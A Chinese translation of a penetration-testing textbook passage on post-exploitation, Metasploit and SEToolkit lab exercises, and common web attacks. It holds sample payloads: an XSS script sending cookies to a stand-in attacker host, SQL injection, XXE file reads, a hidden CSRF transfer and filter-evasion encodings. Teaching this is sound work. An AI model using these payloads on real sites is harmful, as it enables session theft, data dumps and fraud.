拥有管理权限后,如果您还没有管理权限,可以安装其他软件、修改事件日志、添加用户和更改密码。获得某种级别的管理权限也将使您有权查看其他可用的身份验证令牌。这可能包括某种级别的凭据,可用于获得对目标网络中其他系统的身份验证访问。这种横向移动可能会让您接触到更敏感的材料,您可以使用这些材料作为攻击者可以获得这些材料的证据。当 Windows 系统相互通信时,它们使用加密哈希来回发送密码。这种加密哈希有时可以用来访问网络中的其他系统,而实际上并不知道密码。这种技术称为传递散列,因为您实际上是将加密散列传递给另一个系统,作为一种身份验证的方式。

Windows 系统也可以使用 Kerberos 票证,这是从 Kerberos 基础结构提供给客户机系统的对时间敏感的数据。Kerberos 是作为一个更大的系统的一部分在 MIT 开发的,但是已经在 Windows 中使用了十几年。Kerberos 身份验证需要使用 Windows Server,这在企业网络中很常见。这些 Kerberos 票据应该不受哈希类型策略的影响,但是它们已经被用来授权未授权的访问。较新的 Windows Server 实现正在利用各种策略使哈希技术的传递变得相当困难。

在 Linux 系统上,您可能能够利用服务器和客户机之间或者服务器和其他服务器之间的其他可信系统关系。用于加密命令行或终端访问的安全外壳协议利用加密密钥进行加密,但这些密钥在某些情况下也可用于身份验证。一些系统管理员可能会配置他们的系统,以允许通过使用密钥进行身份验证来快速访问其他系统,而无需密码。旧的协议有时会使用系统级信任,尽管这些协议不再广泛使用,因为它们容易受到这种未经身份验证的访问。

在获取额外凭证、添加后门、获取敏感信息和掩盖踪迹之间,您有许多可以采取的利用后步骤。一如既往,确保你着眼于什么对你的客户最好。开始尝试征服尽可能多的系统可能很有诱惑力,但是你必须牢记你的目标:向你的客户提供信息,他们可以用这些信息来加固他们的系统以抵御攻击。你也有有限的时间来执行你的测试,所以这变成了一个优先级的问题。确保你采取的任何利用后的行动都在范围之内,并且符合你的客户的最大利益。

摘要

利用真的是你渗透测试的肉。这是您展示您的目标有多脆弱的地方,因为他们可能不会非常认真地对待来自扫描仪的漏洞列表。即使您已经审查了列表并提出了您知道易受攻击的列表,对于一些人来说,也很难真正认识到对其业务的威胁,这就是为什么经常需要实际显示系统的一些渗透的原因之一。这证明有人可以进入他们的系统并控制信息资源。面对这样的证据,高管们很难认为漏洞不会带来实际的业务风险。这并不能保证他们会做他们需要做的事情来解决问题,但至少他们不能说风险不存在。

当您进行渗透测试时,Metasploit 将会是您最好的朋友之一。一些系统将比其他系统更容易受到攻击,但是 Metasploit 团队在跟上最新漏洞方面做得非常好,正如您通过查看exploit-db.com上可用的漏洞所看到的。您真的想很好地理解漏洞利用是如何工作的,更重要的是,程序是如何工作的,这样您就可以了解在您的程序中发生了什么。这将让您更好地了解系统的漏洞在哪里以及如何存在。不过,Metasploit 不仅仅是为了利用漏洞。它还有许多其他功能,包括用于在目标网络上进行服务扫描。此外,如果您了解 Ruby,您可以编写自己的模块来插入 Metasploit,以满足您的任何需求。Metasploit 具有很高的可扩展性,并且很容易扩展。

社会工程攻击可能是任何组织最关心的问题。用户打开电子邮件并访问可能被感染的网站会给组织带来很多漏洞,这些都是非常常见的攻击媒介。如果您可以说服您的组织或客户允许您进行社会工程攻击,SEToolkit(它在底层使用 Metasploit)是一个非常强大的工具,它使社会工程攻击的技术方面变得非常容易。

Metasploit 是一个非常强大的漏洞利用框架,它是一个很好的起点,不仅可以利用漏洞,还可以在利用系统后尝试获得系统级访问权限。虽然您可以快速使用 Metasploit 或另一个框架,但是需要时间来获得足够的经验,以超越非常基本的利用。

练习

  1. 下载一份可升级的 Linux,并将其安装到您的虚拟机软件中。从 Rapid7 或通过使用 Kali Linux 获取 Metasploit 的副本。
  2. 如果可能的话,购买一份 Windows 95,并将其安装到您的虚拟机软件中。
  3. 对您的目标运行扫描,看看您能找到哪些漏洞。
  4. 尝试使用 unreal-irc 漏洞利用 Metasploitable。
  5. 尝试使用 metasplogiable 易受攻击的 FTP 漏洞来利用 metasplogiable。
  6. 使用 Metasploit 扫描本地网络中的 SSL、SSH 和 SMB 服务器。查看是否可以利用任何已识别的漏洞来控制目标计算机。
  7. 利用 SEToolkit 创建一封恶意电子邮件,并将其发送到易受攻击的端点虚拟机之一。看看有没有用。
  8. 利用 SEToolkit 克隆一个网站,并向克隆的站点注入攻击,看看是否可以使用受损的站点感染一个易受攻击的端点虚拟机。

六、破坏网站

当执行渗透测试任务时,Web 应用程序通常是您的大部分发现的位置。Web 应用程序特别容易受到攻击,因为它们通常不会像其他服务那样受到保护。当一个组织将一个系统放入其基础设施中时,该系统通常位于防火墙之后。这可能是网络防火墙,也可能是驻留在系统本身上的主机防火墙。Web 应用程序的特点是它们是位于开放端口上的程序。它们被明确地暴露在防火墙之外,因为它们存在的意义就在于为防火墙另一侧的用户提供服务。这与向公司内部的用户开放文件共享端口完全不同,因为虽然内部可能有恶意用户,但人数要少得多,也更容易监控。

出于本章的目的,由于界限变得相当模糊,我们将讨论使用基于 Web 的技术交付的编程功能。这意味着用户正在使用 Internet Explorer、Chrome 或 Firefox 等浏览器来使用其他地方提供的功能。程序代码的任何执行都可以发生在用户的浏览器中或通信的服务器端。虽然浏览器通常被认为是一个查看器,有时被称为瘦客户端,但有相当多的功能可以在浏览器中处理,而不需要在服务器端执行任何操作。当我们谈论 Web 技术时,我们谈论的是超文本传输协议(HTTP)、超文本标记语言(HTML)、可扩展标记语言(XML)以及可以在服务器端运行的编程语言,如 Java。NET 语言或 PHP。此外,Web 应用程序可能会在客户端(用户的浏览器)使用 Javascript。移动应用程序逐渐取代了浏览器中的瘦客户端应用程序,但通信流和后端系统最终往往是一样的。

还有其他与网络应用相关的网络安全挑战。在某些方面,它几乎就像一个一站式商店,因为如果攻击者能够破坏 Web 应用程序,攻击者就可以访问它背后的数据库,而该数据库可能包含用户名、密码、信用卡、地址和许多其他可能有用的个人信息。Web 应用程序是通向信息库的大门,信息库可能被窃取、修改或破坏。这使它们成为一个目标,而且在许多情况下是一个容易的目标,因为传统的网络防火墙没有做任何事情来抵御这些攻击,因为它们通常看起来就像普通的 Web 流量一样。

永远记住潜在攻击者的目标。在信息技术或信息安全行业工作了很长时间的人可能会继续对对手是谁以及他们在追求什么有古怪的想法,认为这些是在父母的地下室里玩电子游乐设施的孩子。这一点毋庸置疑,因为了解真正的对手是谁将有助于让人们明白为基础架构提供足够保护的重要性。通常,对手是有资金和动机的。这是一项业务,他们追求任何可以用来盈利的东西,无论是可以出售用于身份盗窃的个人数据,还是可以用作网络农场或出租的攻击农场的系统。数据存在的任何地方都肯定是目标。

使 Web 应用程序成为攻击者和渗透测试者的目标丰富的环境的另一个问题是,有太多许多年前编写的 Web 应用程序没有得到更新,因为它们仍然工作得很好。这些应用程序中有许多是在对与保护 Web 应用程序相关的挑战有很好的理解之前编写的。

作为一名研究 Web 应用程序攻击的渗透测试人员,有一种方法可以提供很大的价值,那就是鼓励与您合作的公司开发能够提供更多攻击保护的应用程序代码。鼓励公司实现更强大的应用层防御,如 Web 应用防火墙和库,以便更好地验证用户输入,这将使这些公司处于更有利的位置,以击退他们所面临的对手。这也会让你处于一个有利的位置,因为如果你能帮助他们变得更好,他们会继续回来找你,因为你让他们花的钱物有所值。从长远来看,没有人喜欢这样的人,他把石头扔进所有的窗户,却没有至少指出玻璃店在哪里。

理解 Web 应用程序的通用架构将有助于您更好地理解您正在测试的是什么。毕竟,不是所有的攻击都是相同的,因为每个攻击都可能针对架构中的不同元素。一旦您看到了这个架构,您就可以很好地理解当今存在的一些常见攻击。Web 应用程序攻击的一个问题是,定期会出现新的攻击。随着越来越多的技术被开发出来,使得应用程序变得更加有趣和有用,更多的攻击成为可能。这是一个非常可靠的经验法则。从开发人员开始向 Web 应用程序添加功能的那一刻起,他们就降低了应用程序抵御攻击的能力,除非他们特别关注提高其安全性和保护能力。更多的代码和与用户更多的交互意味着更多的复杂性,而复杂性总是安全性的敌人。

网络架构

在这一节中,我们将回顾实现 Web 应用程序的一些常见方法。显然,当你开始测试越来越多的应用程序时,你会遇到分歧。同样重要的是要认识到,我们将着眼于逻辑架构,而不是物理架构。当涉及到物理实现时,逻辑组件可能分布在几台计算机上,或者所有的逻辑功能可能存在于单个硬件系统中。还需要考虑虚拟机。在很大程度上,物理架构与攻击应用程序无关。组件在哪里并不重要,尽管有些实现可能比其他实现更容易受到攻击。

最终,任何 Web 应用程序的目标都是为用户提供服务。因此,无论应用程序在拥有它的企业中是什么样子,用户都是等式的一部分。用户的 Web 浏览器是应用程序的界面。图 6-1 显示了一个典型的 Web 应用程序的逻辑架构。左边是用户系统,它是用户界面,有时被称为应用程序的表示层。您正在查看的模型有时被称为 n 层模型。左边是装有网络浏览器的客户端计算机。它通常通过互联网连接到 Web 服务器。在企业内部使用的 Web 应用程序的情况下,有时称为内部网,这种连接不会发生在互联网上,而是发生在企业的本地网络上。我们将在本章的后面讨论这个模型的其余层。

A417535_1_En_6_Fig1_HTML.jpg

图 6-1。

Web application architecture

Web 应用程序在体系结构中的所有系统上运行,每个系统可能都有编程组件;因此,可执行代码可以驻留在架构内的任何地方。这增加了复杂性,带来了潜在的错误和漏洞,但也增加了可以用来更好地保护应用程序的层。在客户端,笔记本电脑所在的地方,可能有一些 Javascript。这可以用来验证输入,或者简单地使界面的呈现更好、更用户友好。

浏览器知道如何呈现从 Web 服务器获得的超文本标记语言(HTML)。Web 服务器通过使用超文本传输协议(HTTP)传输 HTML 文档来与浏览器通信。HTTP 是一种可以被人直接读写的明文协议,在传输 HTML 文档本身之前,它使用报头来指示请求的内容和提供的内容。协议本身指出了可以使用的报头及其含义。它没有指定 HTTP 可以承载什么,因为 HTTP 头本质上封装了数据或媒体。部分头将指定内容是什么,以便告诉客户端(浏览器)预期的内容,从而可以正确解析内容。下面的示例头集包括请求和从服务器返回给客户端的响应,请求是客户端发送的 HTTP,用于向服务器指示请求的内容:

GET / HTTP/1.1
Host: www.microsoft.com

HTTP/1.1 200 OK
Server: Apache
ETag: "6082151bd56ea922e1357f5896a90d0a:1425454794"
Last-Modified: Wed, 04 Mar 2015 07:39:54 GMT
Accept-Ranges: bytes
Content-Length: 1020
Content-Type: text/html
Date: Wed, 30 Mar 2016 01:28:59 GMT
Connection: keep-alive

请求的第一部分是指示客户机如何与服务器交互的动词。最常见的是,你会看到GETPOST,这取决于你是请求还是发送信息。令人困惑的是,GETPOST可能可以互换使用,但在概念层面上,GET请求是您在请求内容时发送的请求,如果您正在向服务器发送数据,例如您填写了一个表单并将其内容发送给服务器进行处理,您将发送一个POST。在动词之后,客户端指示它正在请求的资源的路径。资源的路径是客户端正在使用的 HTTP 版本。由于我们使用的是 HTTP 1.1 版,协议要求下一行包含所请求的网站名称,因为 HTTP 1.1 协议允许在同一地址托管多个网站。有了客户端提供的主机名,Web 服务器就可以传送正确的内容。

在图中,第二个文本块是服务器返回给客户端的响应。在响应中,第一行指示 HTTP 的版本,然后是响应代码和一条指示响应代码含义的短消息。这个特殊的响应代码是您最有可能看到的代码,因为它表示成功。还有许多其他的响应代码,组合成数百个。例如,如果您要获得一个 500 级的消息,它将指示 Web 应用程序中的一个错误。如果你看到一个 100 级的消息,它将是一个信息性的消息,而 200 级的消息将表示成功。服务器提供的其余头是关于服务器将提供给客户机的内容。

业务逻辑和数据

Web 服务器的背后是业务逻辑层,为了提供容错、冗余或负载平衡,Web 服务器实际上可以是多个 Web 服务器。这是程序实际存在的地方。Web 服务器与客户机通信以提供一个接口,但是业务逻辑层包括所有的程序组件,告诉应用程序如何与用户交互。这可以包括识别用户和确定如何向用户呈现信息。例如,用户可能有能力改变界面的外观以最适合他或她的需要。应用服务器,无论是。NET、Java、Ruby on Rails 或其他类型的应用服务器将负责查找用户的信息,并决定将什么 HTML 发送给用户,以使界面看起来像用户想要的样子。

HTML 的挑战之一是它是无状态的。HTML 中没有任何东西可以维护一个身份和一个应用程序状态,以指示客户端在特定对话中的位置。在使用 Web 界面并要求用户登录的应用程序中,服务器无法知道用户是否成功通过了身份验证。HTTP 根本无法跟踪这一点。然而,HTTP 确实提供了创建头字段和传递参数的能力。这两个特性允许应用程序在客户端之间传递信息。一种方法是使用 cookies。查看以下标题,包括一个Set-Cookie标题:

Status=OK - 200
Cache-Control=no-store
Pragma=no-cache
Content-Length=1364
Content-Type=application/x-javascript
Expires=Wed, 31 Dec 1969 23:59:59 GMT
Last-Modified=Sat, 02 Apr 2016 00:28:15 GMT
Accept-Ranges=bytes
Server=Microsoft-IIS/8.5
Set-Cookie=HumanClickSiteContainerID_72961245=Secondary5; path=/hc/72961245
p3p=CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
Date=Sat, 02 Apr 2016 00:28:14 GMT

一旦设置了 cookie,它就存储在客户机上,以后可以检索。使用 cookie,客户端可以提供身份验证已经发生的证据。认证完成后,服务器在客户机上设置一个 cookie。当客户机与服务器通信时,它将 cookie 传回以证明它已经通过了身份验证。如果 cookie 没有被适当地绑定到存储它的系统,它可能会被其他人使用。这也是为什么浏览器可以防止第三方网站访问 cookies 的原因之一。如果这些没有到位,恶意网站将能够很容易地获取它们,并使用它们来访问您之前已经验证过的网站。

应用服务器特别负责创建发送给客户机的 cookies。然后,应用服务器需要检查 cookie,并跟踪它所处的任何状态。例如,如果你正在买东西,服务器需要知道你是谁,以便确定你是否临时存储了一件商品,以便以后付款。应用服务器负责处理使这些功能正常工作所需的所有逻辑。应用服务器需要一个地方来维护持久信息。通常,这将使用关系数据库服务器来完成。结构化查询语言(SQL)用于处理向数据库服务器添加数据和从数据库中检索数据。

我们使用的数据库,通常称为 SQL 数据库,实际上是关系数据库。SQL 是用于与这些数据库交互的语言。这些被称为关系数据库,因为它们通常是这样创建的,即数据库中的表通过键字段之间的关系与其他表相关联。有许多方法来处理数据在磁盘上的存储,这是留给供应商来实现的。作为与数据交互的语言,SQL 本身是相对标准化的。

应用服务器需要知道如何与数据库服务器交互。如果两台服务器在不同的计算机系统上,这意味着两台服务器之间需要网络连接。这也意味着应用程序服务器需要存储认证信息,以便能够登录到数据库服务器。如果攻击者能够危及应用服务器的安全,那么攻击者就可以获得该身份验证信息。它可以被检索并用于直接攻击数据库,而不需要通过 Web 服务器和应用程序服务器。

该体系结构中还有其他潜在的漏洞。许多应用服务器,尤其是 Java 应用服务器,通过 Web 界面利用控制台进行管理。这些控制台通常可以通过一个独立的网络端口进行访问,该端口不同于应用服务器监听客户端请求的 Web 端口。体系结构前面的任何防火墙都应该阻止来自 Internet 的对该端口的访问,但是如果防火墙配置错误,或者攻击者能够访问 Web 服务器,他们就能够访问应用服务器控制台。这可能允许攻击者部署应用程序档案,然后让他们更直接地访问应用程序服务器。

建筑保护

虽然图 6-1 中的图表显示了一个典型的应用程序设置,但它忽略了一些细节,而这些细节既可以提高性能,又可以提供额外的安全性。Web 服务器前面通常是网络防火墙。这种网络防火墙将阻止对除 Web 服务器上必要端口之外的所有内容的访问,这些端口通常是 80 和 443。当然,这种方法的问题是,如果有人攻击 Web 服务器,他们很可能会攻击应用层本身,这意味着流量将从端口 80 或 443 进入。因此,典型的网络防火墙通常不会为 Web 服务器提供真正的保护,除了阻止它不应该监听的端口。

您在图中看到的 Web 服务器可能根本不是传统意义上的 Web 服务器,这意味着它可能不是运行 Apache、Nginx 或 IIS 作为 Web 服务器软件的 Linux 或 Windows 系统。相反,它可能是一个硬件设备,接收 Web 请求,然后将它们传递给后面的一组 Web 服务器。这些设备被称为负载平衡器,用于防止单个 Web 服务器被请求淹没。负载平衡器的工作是将请求分散到位于负载平衡器后面的不同 Web 服务器上。负载平衡器本身实际上可以是多个设备。该体系结构可以使用多个负载平衡器来处理大量的 Web 请求,并且如果一个负载平衡器出现故障,至少还有一个负载平衡器来接收请求,直到出现故障的负载平衡器可以重新联机。

防火墙和 Web 服务器之间的另一个组件是 Web 应用防火墙(WAF)。Web 应用程序防火墙用于拦截所有 Web 请求,以确定它们是否遵循适当的 HTTP 规则,并确定请求中是否有任何可能是攻击流量的内容。它使用模式匹配来做到这一点。当我们稍后查看不同类型的攻击时,您将对 WAF 可能寻找的模式类型有所了解。通过位于客户机和 Web 或应用服务器之间,WAF 有能力拒绝请求,如果它看起来可能是恶意的,并可能导致数据泄露。当然,像这样坐在中间,不得不基于模式匹配做出决定,WAF 有可能会降低 Web 通信的速度。

了解 Web 体系结构中的不同层非常重要,因为您可能需要使用特殊的技术来让您的攻击穿透应用服务器或数据库服务器。

异步 Javascript 和 XML (AJAX)

传统上,与 Web 服务器的交互需要用户点击一个链接,键入一个地址,或者点击一个提交按钮,然后交互才返回给用户。这在很大程度上是一种用户驱动的模型,您可能会认为它本质上是“拉动式”的。为了让任何网页获得新内容,用户必须向 Web 服务器发出请求,并等待响应。这对现代的交互式网络应用来说是不够的,尤其是当它们要取代本地客户端应用的时候。现代的 Web 应用程序要求服务器能够监控客户机的行为,比如移动鼠标,然后定期将数据推送到客户机。至少,应该有一种方法可以让客户端从 Web 服务器获取数据更新,而不需要用户发出手动刷新命令或单击链接。

这就是异步 Javascript 和可扩展标记语言(XML)的用武之地。异步 Javascript 和 XML (AJAX)利用浏览器中运行的 Javascript 定期向 Web 服务器发出更新请求。使用 XML 将更新发送回浏览器,而不是用 HTML 创建一个全新的网页。然后,XML 用于更新显示的页面中包含的数据,而不改变页面本身的 HTML。在下面的代码中,您可以看到脸书发出的对其中一个请求的响应。您可能会注意到,当您查看脸书网站上的页面时,该页面会不时自动更新。它能做到这一点是因为它有 Javascript 在后台安静地运行,定期从服务器取回数据。

Status=OK - 200
Pragma=no-cache
Cache-Control=private, no-cache, no-store, must-revalidate
Expires=Sat, 01 Jan 2000 00:00:00 GMT
Content-Type=application/x-javascript; charset=utf-8
x-content-type-options=nosniff
x-frame-options=DENY
Vary=Accept-Encoding
Content-Encoding=gzip
x-fb-debug=b0AT4soImxp7cwHkRXb5WBgj/8cn1RuBK6F2bbjDDCfj4ex0VPZUpJbngipmK9enhnXdMWQrY6Lp4LZFjFcF/g==
Date=Sun, 03 Apr 2016 21:00:32 GMT
Content-Length=1256
X-Firefox-Spdy=h2

了解现代 Web 应用程序使用 AJAX 可能会为您提供一种额外的方法,通过干扰或操纵这些 AJAX 请求和响应来操纵服务器。

常见的 Web 应用攻击

开放 Web 应用程序安全项目(OWASP)负责跟踪当前的 Web 应用程序漏洞。你可以通过访问他们的网站获得最新的列表。我们将看看一些更常见的网络漏洞。除了查看攻击的结构,我们还将讨论攻击针对架构的哪个方面。

跨站点脚本(XSS)

跨站点脚本(XSS)攻击是一种针对客户端系统的注入式攻击。可以在网页浏览器中运行的脚本语言,如 Javascript,被注入到网页中。然后,不知情的用户会访问该页面,攻击者提供的脚本会在用户的浏览器中运行。有两种类型的 XSS 攻击。第一种叫做存储的或持久的 XSS。这意味着攻击者已经设法将脚本存储在数据库中,以便当用户访问网站时,脚本显示在网页中。例如,这可能在博客帖子的评论栏中。因为脚本是由浏览器处理的,所以用户永远看不到它,甚至不知道它正在运行。有了这样的攻击,你可以在网站上种下种子,然后等待不知情的用户访问来获得好处。

第二种类型的 XSS 攻击称为反射攻击。利用反射攻击,攻击者创建一个 URL,并在 URL 中嵌入脚本,调用易受 XSS 攻击的页面。对于这种攻击,攻击者需要用包含脚本的参数创建 URL,然后将其发送给用户。这可以通过在基于 HTML 的消息中使用附加脚本来隐藏实际 URL 的电子邮件来完成。因为额外的参数和脚本可能会泄露它。

攻击本身非常简单。您提供了一组 HTML 标记,表明您有一个脚本。当它出现在 Web 浏览器中时,浏览器会看到脚本标签并运行标签中的内容。一个非常简单的例子是:

<script>alert('this page is vulnerable to XSS');</script>

这不是很有趣,因为它所做的只是弹出一个对话框,说“该页面易受 XSS 攻击”,这肯定会提醒用户发生了一些事情。更有趣的是编写从用户那里窃取信息的 Javascript。由于来自第三方的页面不应该能够窃取代表其他站点存储的信息,您可以使用 XSS 攻击来收集这些信息,然后将其传输到另一个站点,攻击者稍后可以在那里收集这些信息。这方面的一个例子是这样的:

<script>document.write('<img src="http://my.badsite.com/goodsite.php?cookie=' + document.cookie + '" />')</script>

这个小攻击使用document.cookie从页面获取 cookie,并将其嵌入到一个 URL 中。URL 位于图像标签中,这意味着浏览器将向该 URL 发送请求。URL 甚至不必存在,因为请求将被放入日志中,稍后可以解析该日志以获取 cookies 和 IP 地址。在多个站点受到攻击的情况下,对goodsite.php的引用可以指示 cookie 来自哪个站点。当然,使用这种技术也有可能窃取其他信息。

像在document.writedocument.cookie中一样,使用document后跟一个方法或属性,这就是文档对象模型(DOM)。DOM 是一种将 Web 页面转换成可以使用 document 对象访问的对象集合的方法。此外,文档有类似于write的方法,可以访问这些方法来对文档执行操作。在我们的例子中,我们从该脚本所在的文档中收集 cookie,并使用write方法将 cookie 放入 URL,这将最终将 cookie 发送到恶意服务器。

XSS 攻击源于未正确验证的输入。在大多数情况下,没有理由接受 HTML 标签作为输入。事实上,在大多数情况下,你不需要接受任何一个< or >作为输入。因此,Web 应用程序程序员应该对输入进行适当的调整,以确保这些类型的字符不被原样接受,而是被转换为更安全的选项,如 HTML 变体&lt;&gt;,它们让浏览器呈现小于和大于字符,而不实际使用这些字符,因为它们可能被解释为试图创建 HTML 标记。

SQL 注入

SQL 注入攻击是针对数据库服务器的攻击,攻击者将代码传递到数据库中,由数据库服务器本身直接执行。结构化查询语言(SQL)代码被插入到网页上的表单中,SQL 被一路传递回数据库,并在那里执行。为了了解这种特定的攻击是如何工作的,让我们来看看一些非常简单的代码,这些代码旨在获取用户列表,其中字段username等于传递给这段特定代码的值:

$query = "SELECT * FROM users WHERE username = '" + $username "';";
$result = mysql_query($query);

正常情况下,剧本会把弗雷德、伍布尔、珍妮特、阿提克斯或佐伊作为例子。如果您提供用户名,您将获得与您提供的用户名相关的所有信息。相反,如果您提供一段 SQL 来改变查询,就像下面这样,您将得到完全不同的结果:

' OR '1' = '1

一旦用变量进行了所有替换,您最终得到的是一段如下所示的 SQL:

SELECT * FROM users WHERE username = '' or '1' = '1';

该查询的重要部分是'1' = '1'部分,因为OR告诉 SQL 评估所有行以确定整个语句的真实性。我们可能永远不会遇到用户名为空('')的情况,但是'1'将总是等于'1',,所以数据库中的每一行对于这样的语句都是真的。因此,根据脚本的结果部分是如何创建的,您可能会得到一个完整的users表转储。

SQL 注入攻击最重要的部分是大致了解 SQL 可能是什么样子。最终,您需要做的是完成现有的 SQL,以便执行的语句有意义。如果试图缩短传递给数据库的 SQL 的一部分,可以使用注释字符。这意味着您可能需要知道应用程序下面的数据库服务器是什么。不同的数据库服务器使用不同的字符序列来表示注释,但是注释总是被数据库服务器忽略。因此,如果您想让它忽略程序代码中您提供的内容之后的所有内容,您可以使用注释序列。根据您使用的服务器,注释可能会用--#/* */来表示。

SQL 注入攻击可能是所有网络攻击中最需要经验的,因为它们不像运行一大块 SQL 那么简单。您需要理解您要注入的表单域的作用,这样您就可以做出正确的选择,哪些 SQL 可以在那里工作,哪些不可以。然后,您需要知道基于数据库服务器的类型,哪些 SQL 语句将会起作用。收集这些信息的一种方法是触发一个错误。图 6-2 显示了一条错误信息,该信息是从一个显然使用 MySQL 作为其服务器的网站上获得的。我们可以这样说,因为函数调用被引用为错误发生的地方,mysql_result()。在这个特殊的错误中,我们还幸运地揭示了 Web 服务器上正在使用的目录结构。

A417535_1_En_6_Fig2_HTML.jpg

图 6-2。

MySQL error message

SQL 注入漏洞通常是不正确的输入验证的结果。如果您使用的是特殊字符,如--;#或某些引用字符,则输入可能有问题。

这里讨论的许多攻击,尤其是 SQL 注入,可能需要大量的反复试验才能奏效。这涉及到很多因素,包括应用程序的过滤,这可能是不够的。

命令注入

像 SQL 注入一样,命令注入漏洞也可能是由于不正确地验证输入造成的。当用户通过输入字段发送操作系统命令时,就会发生命令注入攻击,由于 Web 应用程序处理输入的方式,即它将原始输入发送给操作系统进行处理,用户可以在服务器上执行操作系统命令。在大多数情况下,您不能仅仅将操作系统命令发送到输入字段中,但是在某些情况下,输入字段会触发与操作系统相关的东西,例如在您有一个控制面板应用程序的情况下。一些 Web 应用程序用于控制设备,因此它们可能需要将命令传递到操作系统中进行处理。图 6-3 显示了一个例子,这是一个无线接入点的诊断页面。此页面为管理员提供了 ping IP 地址的能力。该页面可能会将收集到的 IP 地址发送到操作系统,以便在那里使用 ping 实用程序,并返回显示输出。

A417535_1_En_6_Fig3_HTML.jpg

图 6-3。

Using ping from a Web application

要利用此漏洞,您需要知道您使用的是什么操作系统。理想情况下,您应该允许正在执行的任何命令按预期运行,然后提供一个命令分隔符,这个字符告诉操作系统等待同一行上传递的另一个命令。命令分隔符表示第一个命令已经完成,第二个命令即将开始。在 Linux 系统中,这可能是;字符,在许多编程语言中可以用来表示第一条语句或命令的结束。您也可以传递&&来指示如果第一条语句成功,那么运行第二条语句。两个&符号一起构成一个逻辑and操作符。如果第一个命令失败,第二个命令将不会运行。

使用命令注入攻击,恶意用户可以执行 Web 用户有权在命令行上执行的任何操作。Web 服务器运行在特定用户的上下文中。命令注入攻击将在该用户的上下文中运行,因此用户可以通过命令注入攻击执行任何操作。这是使用尽可能少的权限运行 Web 服务器的众多原因之一。

XML 外部实体攻击

一些 Web 应用程序利用可扩展标记语言(XML)将消息从客户端传递到服务器,反之亦然。如果攻击者能够拦截、操纵或创建这些消息,攻击者就能够将请求传递到服务器,服务器将会以类似于命令注入攻击的方式处理这些请求。这里显示了一个示例:

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE wubble [  
   <!ELEMENT wubble ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><wubble>&xxe;</wubble>

这个小的 XML 示例将从 Windows 系统的 C:驱动器的根目录返回boot.ini文件的内容。在 Linux 系统上,您可能会传递类似于/etc/passwd的东西来获取系统上的用户列表。在这种情况下,我们使用SYSTEM标识符让 XML 解析器知道它应该使用系统用引用的外部实体的内容替换引号中的标识符。利用这种攻击,恶意用户可以从系统上的文件中收集内容,或者让系统从另一个网站检索信息。XML 外部实体攻击是针对进行 XML 解析的服务器的攻击。

点击劫持攻击

网页作为界面呈现给用户的内容已经变得非常复杂。实现这一点的一种方法是允许通过页面呈现多个层。然而,这种功能为所谓的点击劫持攻击打开了大门,在这种攻击中,攻击者创建一个模糊层,让用户在他们看不到的层上做一些事情。虽然看起来好像用户在点击一个东西,但是这个点击实际上被传递到了被遮蔽的较低层。用户可能会点击一个链接,他们认为这个链接会让他们参加免费抽奖,但实际上他们所做的是在脸书页面上点击一个产品的 Like 按钮。这让该产品获得了很多人为的喜欢。攻击者可能会在呈现给用户的人工按钮或链接下放置许多其他动作。这种攻击,因为它劫持了用户的点击,在某种程度上,实际上是对用户的攻击,这取决于用户在流氓层下真正点击的行为。

跨站点请求伪造

跨站点请求伪造(CSRF)攻击是针对用户的攻击。这种攻击使用包含隐藏请求的恶意网页。这有时被称为 POST 攻击的 GET。在大多数情况下,当您向 Web 服务器发送信息或请求它执行某个动作时,您发送的是一个POST请求,该请求通常通过单击一个按钮来触发。该按钮可能与一个 Web 表单相关联,这将触发在一个POST请求中向服务器发送所有表单数据。如果您有一个接受带有 URL 参数的GET请求的 Web 应用程序,您可以隐藏该请求,如下面的 HTML 所示。

<img src="http://www.mybank.com/transfer.php?from=48893&to=49902340&amount=5000" style="width:1px;height:1px">

img 标签将向服务器发出一个GET请求,由于它实际上并不检索图像,所以没有在页面上放置内容的风险。为了限制任何东西出现的风险,您可以将大小限制为 1 像素乘 1 像素,如示例所示。任何人都不会注意到一个像素。与此同时,你可以让页面看起来完全像任何吸引用户的东西。交易请求是在幕后处理的,尤其是如果用户最近登录了银行,所以有一个活动的身份验证 cookie,用户根本不知道它已经发生了。

防止这种攻击的一种方法是不允许通过GET请求进行编程访问。然而,POST请求不能使用 img 标签之类的东西来完成。相反,您需要一个可以由页面生成的操作。还可以使用其他保护措施,包括检查 referrer,这是一个指示请求来自哪个页面的标题。如果推荐人与您自己的域不匹配,最好不要允许请求继续。这些保护措施并非万无一失,但它们会使这类请求更加难以继续。

规避攻击

这种类型的攻击通常会与另一种攻击结合使用。这是一种格式化信息的方式,这样它可以通过一些程序性的输入检查。例如,如果有人在寻找<script>,而您提供了%3Cscript%3E,解析器将找不到它。这里没有使用字符<>,而是展示了一种叫做 URL 编码的技术。许多字符不能在 URL 中使用,因为浏览器或 Web 服务器可能会错误地解释它们,并以您不希望的方式改变请求。而是使用替换字符。对于 URL 编码,您可以使用一个%来表示您有一个对应于 ASCII 值的十六进制值。为了解码,你在 ASCII 表中查找十六进制值,你将找到实际的字符。

在某些情况下,寻找输入错误的解析器可能相当严格。他们可能会寻找类似于<script><SCRIPT>甚至%3Cscript%3E的东西,但他们可能很难识别出%3CScRiPt>,因为它混合了各种情况,也混合了 URL 编码和非 URL 编码。

沿着 URL 编码的路线,您可以使用十六进制编码。通过使用#x和一个 ASCII 字符值,您提供了字符而没有提供实际的字符,因为#x是一个明确的指示符,表示有一个字符要出现。如果翻译发生在过滤器之后,您就已经完成了攻击。

因为您试图绕过程序员编写的过滤器和转换器,所以您需要找到一种传递信息的方式,这种方式与他们所寻找的方式有点不同。通过使用 URL 编码、十六进制编码、大小写混合以及其他操作和处理请求的方式,找到以不同方式组合数据的方法可能会超过他们正在寻找的列表。每种可能性都必须至少有一行代码。这非常耗时,所以你创建请求的方式越多,通过过滤器的机会就越大。

测试策略

有许多方法可以执行 Web 应用程序测试。一种简单的方法是使用 Web 浏览器并执行手动测试。然而,这限制了您从呈现给您的界面中可以访问的内容。最有趣的攻击通常发生在请求离开浏览器之后,到达服务器之前。拦截请求以进行修改的一个非常简单的方法是使用 Firefox 浏览器和 TamperData 插件。您可以在图 6-4 中看到使用中的 TamperData。TamperData 将向您呈现一个请求,该请求在从浏览器发送之后,但在通过网络发送之前发送到服务器。它将允许您对标题以及任何参数进行更改。

A417535_1_En_6_Fig4_HTML.jpg

图 6-4。

TamperData in Firefox

